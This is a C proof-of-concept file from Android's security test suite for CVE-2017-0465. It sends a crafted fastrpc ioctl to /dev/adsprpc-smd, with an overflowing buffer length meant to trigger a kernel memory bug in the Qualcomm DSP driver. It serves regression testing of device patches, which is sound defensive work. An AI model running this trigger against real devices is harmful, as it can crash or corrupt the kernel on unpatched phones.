hostsidetests/security/securityPatch/CVE-2017-0465/poc.c

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include "local_poc.h"
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <time.h>
#include <sys/types.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

struct remote_buf {
  void *pv;    /* buffer pointer */
  ssize_t len; /* length of buffer */
};

union remote_arg {
  struct remote_buf buf; /* buffer info */
  uint32_t h;            /* remote handle */
};

#define remote_arg_t union remote_arg

struct fastrpc_ioctl_invoke {
  uint32_t handle;   /* remote handle */
  uint32_t sc;       /* scalars describing the data */
  remote_arg_t *pra; /* remote arguments list */
};

struct fastrpc_ioctl_invoke_fd {
  struct fastrpc_ioctl_invoke inv;
  int *fds; /* fd list */
};

#define FASTRPC_IOCTL_INVOKE_FD _IOWR('R', 4, struct fastrpc_ioctl_invoke_fd)

int main(int argc, char **argv) {
  int fd;
  int ret, i;
  struct fastrpc_ioctl_invoke_fd arg;
  struct fastrpc_ioctl_invoke *inv;
  void *ptr;

  unsigned long long seed = 13234300;
  srand((unsigned)seed);
  fd = open("/dev/adsprpc-smd", O_RDONLY);

  ptr = malloc(0xFFFF);

  arg.fds = NULL;
  inv = &arg.inv;

  inv->sc = 0x00020111;
  inv->pra = (remote_arg_t *)malloc(4 * sizeof(remote_arg_t));
  inv->pra[0].buf.pv = ptr;
  inv->pra[0].buf.len = 0x0000FFFF;

  memset(inv->pra[0].buf.pv, 0xFF, 0xFFFF);
  inv->pra[1].buf.pv = ptr;
  inv->pra[1].buf.len = 0x0000FFFF;

  inv->pra[2].buf.pv = (void*)((char *)inv->pra[0].buf.pv + 0xFFFF - 128);
  inv->pra[2].buf.len = (unsigned long)0xFFFFFFFFFFFFFFFF -
                        (unsigned long)inv->pra[2].buf.pv + 128;

  ret = ioctl(fd, FASTRPC_IOCTL_INVOKE_FD, &arg);

  return 0;
}